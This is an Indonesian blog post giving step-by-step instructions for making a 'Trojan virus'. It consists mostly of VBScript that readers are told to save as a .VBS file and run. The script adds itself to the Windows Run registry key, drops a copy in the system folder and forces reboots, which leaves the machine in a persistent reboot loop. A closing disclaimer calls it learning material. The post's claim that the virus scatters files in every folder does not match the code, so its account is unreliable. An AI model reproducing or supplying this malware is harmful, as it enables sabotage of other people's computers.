Cara Membuat Virus Trojan

Dibuat oleh ARIE CELLULAR

Habis jalan-jalan di google
baca - baca artikel oh ternyata ada artikel yang menarik nie yaitu
Cara Membuat Virus Trojan
virus ini kerjananya yaitu membuat file aneh dikomputer sob
file - file bertebaran disetiap Folder...

Cara Membuat Virus Trojan ini sangat mudah
buka Notepad Lalu copy kode dibawah ini lalu pastekan
Lalu simpan dengan Nama bebas Yang penting didepan nama dikasih (Titik) Dan VBS contohnya
ariecellular.VBS Lalu klik save

kalo udah anda save silahkan klik file tadi yang telah anda buat kalo mau coba menikmati virus buatan sendari brow hahahaha
KODE :

set FSobj=CreateObject(“Scripting.FileSystemObject”)
set sysDir = FSobj.GetSpecialFolder(1)
createRegKey “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB”,sysDir&”\dlRB.vbs”
sub createRegKey(regKey,regVal)
set regEdit = CreateObject(“WScript.Shell”)
regEdit.RegWrite regKey,regVal
end sub
set generateCopy=FSobj.CreateTextFile(sysDir+”\dlRB.vbs”)
generateCopy.close
set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),”"”")
set procreateCopy=FSobj.OpenTextFile(sysDir+”\dlRB.vbs”,2)
procreateCopy.write fixedCode
procreateCopy.close
rebootSystem()
function setFile()
fileData=”rem – ^dlRB^ by D.L.” &vbcrlf& _
“strComputer = ^.^ ” &vbcrlf& _
“Set objWMIService = GetObject(^winmgmts:^ _ ” &vbcrlf& _
“& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)” &vbcrlf& _
“Set colOperatingSystems = objWMIService.ExecQuery _ ” &vbcrlf& _
“(^Select * from Win32_OperatingSystem^)” &vbcrlf& _
“For Each objOperatingSystem in colOperatingSystems” &vbcrlf& _
“ObjOperatingSystem.Reboot()” &vbcrlf& _
“Next”
end function
function rebootSystem()
strComputer = “.”
Set objWMIService = GetObject(“winmgmts:” _
& “{impersonationLevel=impersonate,(Shutdown)}!\\” & strComputer & “\root\cimv2″)
Set colOperatingSystems = objWMIService.ExecQuery _
(“Select * from Win32_OperatingSystem”)
For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function

SELAMAT MENCOBA

INFORMASI :

KAMI TIDAK BERTANGGUNG JAWAB ATAS APA YANG TERJADI PADA KOMPUTER / LAPTOP ANDA, INI HANYA SEMBUAH MATERI PELAJARAN AGAR KITA TAU,....